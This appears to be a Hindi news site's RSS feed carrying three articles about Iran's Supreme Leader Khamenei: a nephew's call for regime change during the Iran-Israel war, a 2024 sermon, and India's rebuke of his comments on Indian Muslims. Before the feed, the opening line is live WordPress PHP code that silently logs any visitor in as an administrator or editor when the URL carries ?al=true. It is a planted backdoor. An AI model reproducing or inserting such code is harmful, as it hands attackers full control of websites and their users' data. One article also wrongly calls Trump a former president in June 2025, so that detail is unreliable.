// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ayatollah Ali Khamenei – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 19 Jun 2025 06:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 खामेनेई के भतीजे ने किया ईरान में सत्ता पलट का आह्वान, कहा- शांति के लिए इस शासन का अंत जरूरी https://pratyushaashakinayikiran.com/?p=164912 Thu, 19 Jun 2025 06:16:00 +0000 https://pratyushaashakinayikiran.com/?p=164912 तेहरान 

ईरान और इज़राइल के बीच युद्ध दूसरे हफ्ते में प्रवेश कर चुका है, और इस बीच खुद ईरान के शासक वर्ग से एक चौंकाने वाली आवाज़ उठी है, वह भी सर्वोच्च नेता अयातुल्ला अली खामेनेई के परिवार से. फ्रांस में रह रहे खामेनेई के निर्वासित भतीजे महमूद मोरदखानी ने एक साक्षात्कार में कहा कि वह युद्ध के पक्ष में नहीं हैं, लेकिन उनका मानना है कि इस्लामिक गणराज्य का अंत ही असली शांति का रास्ता है.

मोरदखानी ने कहा, “जो भी इस शासन को मिटा सके, वो ज़रूरी है. अब जब हम यहां तक आ पहुंचे हैं, तो ये करना ही होगा.”  1986 में ईरान छोड़ चुके मोरदखानी अपने चाचा के निरंकुश शासन के कटु आलोचक रहे हैं. उन्होंने रॉयटर्स को बताया कि इज़राइल से सैन्य टकराव दुर्भाग्यपूर्ण है, लेकिन ऐसी व्यवस्था में यह अपरिहार्य है जो न तो झुकती है और न ही सुधार स्वीकार करती है.

खत्म हो इस्लामी शासन- मोरदखानी

मोरदखानी ने कहा, “मुझे गहरा दुख है कि बात यहां तक पहुंच गई है… लेकिन क्या खामेनेई की हत्या से शासन तुरंत खत्म हो जाएगा? ये अलग सवाल है.”  ईरान में इंटरनेट ब्लैकआउट के कारण मोरदखानी अपने लोगों से संपर्क नहीं कर पा रहे हैं, लेकिन उनका मानना है कि “कई ईरानी लोग शासन की कमजोरी के संकेत देखकर खुश हैं.”

उन्होंने कहा, “जितनी जल्दी यह खत्म हो, उतना अच्छा है. इसका अंत इस्लामिक गणराज्य के खात्मे से होना चाहिए. वरना यह एक बेकार हार होगी और मेरा अब भी मानना है कि यह शासन बदला जरूर लेगा.” 

इस बीच अमेरिका के पूर्व राष्ट्रपति डोनाल्ड ट्रंप ने सोशल मीडिया पर ईरान से “बिना शर्त आत्मसमर्पण” की मांग करते हुए खामेनेई की हत्या को लेकर भी संकेत दिए. उनके सहयोगियों के अनुसार, ट्रंप ने ईरान के परमाणु ठिकानों को निशाना बनाने के सैन्य विकल्पों को निजी रूप से मंजूरी दे दी है, हालांकि अंतिम आदेश अब तक नहीं दिया गया है.

पूर्व शाह के बेटे रेज़ा पहलवी का तीखा हमला
ईरान के पूर्व शाह मोहम्मद रजा पहलवी के बेटे रेजा पहलवी ने भी सोशल मीडिया पर शासन बदलाव का आह्वान किया. उन्होंने दावा किया कि खामेनेई “किसी डरे हुए चूहे की तरह अंडरग्राउंड हो गए हैं और इस्लामिक गणराज्य अपने अंत की तरफ है.'

उन्होंने आगे कहा, “इस्लामिक गणराज्य का अंत आ चुका है. जो शुरू हुआ है, वह अब पलटाया नहीं जा सकता. भविष्य उज्जवल है, और हम इतिहास के इस तीखे मोड़ से साथ मिलकर गुजरेंगे. खामेनेई ने हालात पर से नियंत्रण खो दिया है. 46 वर्षों से ईरानी जनता के खिलाफ छेड़े गए युद्ध का अंत इस शासन के अंत से ही होगा.”
 

 

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अयातुल्लाह अली खामेनेई ने कहा- अब तो हमारा साथ दें अरब के मुसलमान देश, एक ही दुश्मन इजरायल https://pratyushaashakinayikiran.com/?p=79898 Fri, 04 Oct 2024 21:27:00 +0000 https://pratyushaashakinayikiran.com/?p=79898 तेहरान
ईरान के सर्वोच्च नेता अयातुल्लाह अली खामेनेई ने शुक्रवार की नमाज का नेतृत्व करते हुए लोगों को संबोधित किया। वे पांच सालों में पहली बार जुमे की नमाज अदा करके सार्वजनिक रूप से संबोधित कर रहे थे। इस दौरान उन्होंने इजरायल पर हमला बोलते हुए कहा कि अरब के मुसलमान देशों को ईरान का साथ देना चाहिए और मुस्लिम देशों का एक ही दुश्मन है और उसे मिलकर हराना होगा। हिजबुल्लाह प्रमुख नसरल्लाह की मौत के बाद ईरान की ओर से दागी गईं इजरायल पर मिसाइलों को लेकर भी खामेनेई ने प्रतिक्रिया दी। उन्होंने हमले को कानूनी और वैध बताया। उन्होंने कहा, ''कुछ रात पहले हमारे सशस्त्र बलों का अभियान पूरी तरह से कानूनी और वैध था।''

अपने संबोधन में अयातुल्लाह अली खामेनेई ने कहा कि हम इजरायल को जवाब देने में न तो देरी करेंगे और न ही जल्दबाजी। खामेनेई जब ईरान के लोगों को संबोधित कर रहे थे, तब उनके पास एक राइफल भी रखी हुई थी। उनका यह उपदेश ईरान द्वारा इजरायल पर किए गए मिसाइल हमलों के कुछ दिन बाद आया है। पिछले साल सात अक्टूबर को हमास ने इजरायल पर आतंकी हमला कर दिया था, जिसके बाद मिडिल ईस्ट में तनाव बढ़ गया था। इजरायल ने हमास पर गाजा पट्टी में जबरदस्त पलटवार किया और उसके बाद लेबनान में भी हिजबुल्लाह को निशाने पर रखा। इसी दौरान हिजबुल्लाह चीफ नसरल्लाह भी मारा गया, जिसके बाद ईरान और इजरायल में तनाव चरम पर पहुंच गया।

'हिजबुल्लाह और हमास से कभी नहीं जीतेगा इजरायल'
ईरान के सुप्रीम लीडर खामेनेई ने लेबनान और फिलिस्तीन के लड़ाकों से कहा कि खून-खराबे से आपकी ताकत कम नहीं होनी चाहिए। इजरायल कभी भी हिजबुल्लाह और हमास पर जीत हासिल नहीं कर पाएगा। इजरायल के हालिया व्यवहार से गुस्सा बढ़ रहा है और प्रतिरोध की मंशा मजबूत हो रही है। इजरायल हत्याओं और नागरिक हत्याओं के जरिए जीतने का दिखावा कर रहा है। खामेनेई ने अमेरिका पर भी निशाना साधा और कहा कि इजरायल की सुरक्षा को बनाए रखने पर अमेरिका का ध्यान क्षेत्र के संसाधनों को जब्त करने की उसकी नीति को छिपाने के लिए है।

बेरूत में इजरायल का फिर हमला, नौ की मौत
इस बीच, इजरायल का लेबनान में हमला जारी है। बुधवार देर रात मध्य बेरूत की एक इमारत को निशाना बनाकर हवाई हमला किया गया, जिससे नौ लोगों की मौत हो गई। इन लोगों को हिजबुल्लाह का सदस्य बताया गया है। इजरायल सितंबर के अंत से ही लेबनान के उन क्षेत्रों पर बमबारी कर रहा है जहां उग्रवादी समूह हिजबुल्लाह की मजबूत उपस्थिति है, लेकिन राजधानी बेरूत के मध्य क्षेत्र को शायद ही कभी निशाना बनाया गया हो। बुधवार देर रात हुए हमले से पहले कोई चेतावनी नहीं दी गई थी, जिसमें मध्य बेरूत में एक इमारत को निशाना बनाया गया। यह इमारत संयुक्त राष्ट्र मुख्यालय, प्रधानमंत्री कार्यालय और संसद से ज्यादा दूर नहीं है। वहीं, हिजबुल्लाह की नागरिक सुरक्षा इकाई ने कहा कि उसके सात सदस्य मारे गये हैं। यह हमला दक्षिणी लेबनान में हिजबुल्लाह के साथ झड़प में कम से कम आठ इजरायली सैनिकों के मारे जाने के बाद हुआ है।

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भारतीय मुस्लिमों पर ईरानी नेता ने उगला जहर तो दोस्‍त इजरायल ने लगाई कड़ी फटकार https://pratyushaashakinayikiran.com/?p=71604 Tue, 17 Sep 2024 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=71604 नई दिल्ली
भारत ने ईरान के सुप्रीम लीडर अयातुल्ला अली खामनेई के बयान पर कड़ी प्रतिक्रिया जाहिर की है और दो टूक कहा है कि दूसरों पर उंगली उठाने से पहले ईरान को अपने गिरेबान में झांक लेना चाहिए। विदेश मंत्रालय की तरफ से जारी एक सख्त बयान में कहा गया है, "हम ईरान के सर्वोच्च नेता द्वारा भारत में अल्पसंख्यकों के बारे में की गई टिप्पणियों की कड़ी निंदा करते हैं। ये गलत सूचना पर आधारित और अस्वीकार्य हैं। अल्पसंख्यकों पर टिप्पणी करने वाले देशों को सलाह है कि वे दूसरों के बारे में कोई भी टिप्पणी करने से पहले अपना रिकॉर्ड देख लें।"

ईरान के सर्वोच्च नेता अयातुल्लाह अली खामेनेई ने ईद मिलादुन्नबी के मौके पर एक्स पर एक पोस्ट में कहा, "अगर हम म्यांमार, गाजा, भारत या किसी अन्य स्थान पर किसी मुस्लिम को होने वाली पीड़ा से बेखबर हैं, तो हमें खुद को मुसलमान नहीं मानना चाहिए।" खामेनेई ने कहा है कि भारत में मुसलमानों का उत्पीड़न हो रहा है। पैगंबर मोहम्मद की जयंती पर सोमवार को उन्होंने यह बात कही और दुनिया भर के मुसलमानों के बीच एकजुटता की जरूरत बताई।

बड़ी बात ये है कि खामनेई ने भारत की तुलना गाजा और म्यांमार से की है और उसी के साथ एक लाइन में खड़ा कर दिया है। खामेनेई ने यह टिप्पणी तब की है जब उनका देश खुद सुन्नी मुस्लिम और जातीय अल्पसंख्यकों के दमन के लिए दुनिया भर में बदनाम है और लगातार अंतरराष्ट्रीय स्तर पर आलोचनाओं का सामना करता रहा है।

ऐसा पहली बार नहीं हुआ है, जब ईरान के सुप्रीम लीडर ने भारत के मुसलमानों के बारे में टिप्पणी की है। साल 2019 में जम्मू-कश्मीर से अनुच्छेद 370 हटाए जाने के बाद भी उन्होंने आपत्तिजनक टिप्पणी की थी और कहा था कि कश्मीर में मुसलमानों की स्थिति चिंताजनक है। खामेनेई ने तब कहा था कि भारतीय प्रधानमंत्री नरेंद्र मोदी की ओर से कश्मीर में उठाए गए इस कदम से मुसलमानों में डर बना हुआ है।

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